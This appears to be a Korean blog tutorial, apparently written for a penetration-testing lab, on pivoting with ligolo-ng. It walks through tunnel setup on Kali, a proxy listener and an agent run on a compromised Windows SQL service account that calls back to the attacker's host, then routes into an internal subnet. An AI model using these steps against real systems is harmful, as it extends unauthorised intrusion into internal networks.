ligolo-ng 사용법

logolo-ng를 이용해서 포트포워딩, 네트워크 피보팅하기

By Hong

우선 서버와 클라이언트에서 사용할 proxy, agent 바이너리 파일을 각각 다운받아야한다.

깃허브에서 다운로드.

SOCKS프록시를 사용하지 않기 때문에 설정 필요없고 간편하다.

kali에서 터널 준비 & 기동

sudo ip tuntap add user [your_username] mode tun [원하는 이름]

sudo ip link set [원하는 이름] up

버전이 0.6이상이라면 더 간편하게 아래의 커맨드로 터널 인터페이스를 만들 수 있다.

ligolo-ng » interface_create --name "evil-cha"
INFO[3185] Creating a new "evil-cha" interface...
INFO[3185] Interface created!

서버에서 원하는 포트 지정.

 ./proxy -selfcert -laddr "0.0.0.0:7878"
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
WARN[0000] Using self-signed certificates
WARN[0000] TLS Certificate fingerprint for ligolo is: 961A1B781DE6D16C89601ACCC6FF50A1BA11F96D9A6B880CD9EE0C4DA1B2E7DD
INFO[0000] Listening on 0.0.0.0:7878
    __    _             __
   / /   (_)___ _____  / /___        ____  ____ _
  / /   / / __ `/ __ \/ / __ \______/ __ \/ __ `/
 / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/     /_/ /_/\__, /
        /____/                          /____/

  Made in France ♥            by @Nicocha30!
  Version: 0.7.5

ligolo-ng »

agent 바이너리 파일을 타겟 시스템에 배치한 후 아래의 명령어로 연결.

PS C:\temp> .\agent.exe -connect 192.168.45.211:7878 -ignore-cert

서버에서 접속된 것을 확인.

session명령어로 연결된 세션을 확인 할 수 있다.

ligolo-ng » INFO[0193] Agent joined.                                 id=2f93be9e-5c04-4ff8-bc57-d091c33b86d2 name="NT Service\\MSSQL$SQLEXPRESS@WEB02" remote="192.168.165.121:65289"

ligolo-ng » session
? Specify a session : 1 - NT Service\MSSQL$SQLEXPRESS@WEB02 - 192.168.165.121:65289 - 2f93be9e-5c04-4ff8-bc57-d091c33b86d2
[Agent : NT Service\MSSQL$SQLEXPRESS@WEB02] »
[Agent : NT Service\MSSQL$SQLEXPRESS@WEB02] » ifconfig
┌───────────────────────────────────────────────┐
│ Interface 0                                   │
├──────────────┬────────────────────────────────┤
│ Name         │ Ethernet0                      │
│ Hardware MAC │ 00:50:56:ab:ad:c1              │
│ MTU          │ 1500                           │
│ Flags        │ up|broadcast|multicast|running │
│ IPv4 Address │ 192.168.165.121/24             │
└──────────────┴────────────────────────────────┘
┌───────────────────────────────────────────────┐
│ Interface 1                                   │
├──────────────┬────────────────────────────────┤
│ Name         │ Ethernet1                      │
│ Hardware MAC │ 00:50:56:ab:f2:9d              │
│ MTU          │ 1500                           │
│ Flags        │ up|broadcast|multicast|running │
│ IPv4 Address │ 172.16.165.254/24              │
└──────────────┴────────────────────────────────┘
┌──────────────────────────────────────────────┐
│ Interface 2                                  │
├──────────────┬───────────────────────────────┤
│ Name         │ Loopback Pseudo-Interface 1   │
│ Hardware MAC │                               │
│ MTU          │ -1                            │
│ Flags        │ up|loopback|multicast|running │
│ IPv6 Address │ ::1/128                       │
│ IPv4 Address │ 127.0.0.1/8                   │
└──────────────┴───────────────────────────────┘

프록시 경유로 접속하고 싶은 네트워크 대역을 라우팅 테이블에 추가.

$ sudo ip route add 172.16.157.0/24 dev [터널 이름] # 이 예시에서는 터널이름이 ligolo

아래의 명령어로 추가되었는지 확인.

ip route list

default via 172.27.16.1 dev eth0 proto kernel
172.16.157.0/24 dev ligolo scope link
172.27.16.0/20 dev eth0 proto kernel scope link src 172.27.26.112
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.165
192.168.157.0/24 via 192.168.45.254 dev tun0

혹은 버전 0.6이상이라면 아래의 커맨드로 더 간편.

ligolo-ng » interface_add_route --name evil-cha --route 192.168.2.0/24
INFO[3206] Route created.

여기까지했으면 설정 완료. 서버의 ligolo쉘로 돌아가서 start를 입력하면 프록시가 시작된다.

[Agent : NT Service\MSSQL$SQLEXPRESS@WEB02] » start --tun hong
[Agent : NT Service\MSSQL$SQLEXPRESS@WEB02] » INFO[0153] Starting tunnel to NT Service\MSSQL$SQLEXPRESS@WEB02 (b65486e1-4af3-411a-9b9e-2ea3d71d6ed9)

kali에서 설정한 네트워크에 문제없이 통신이 가능해진다.

참고자료

관련 유튜브 영상의 링크

참고한 블로그 링크

공식 깃허브 페이지 링크

Share: X (Twitter) Facebook LinkedIn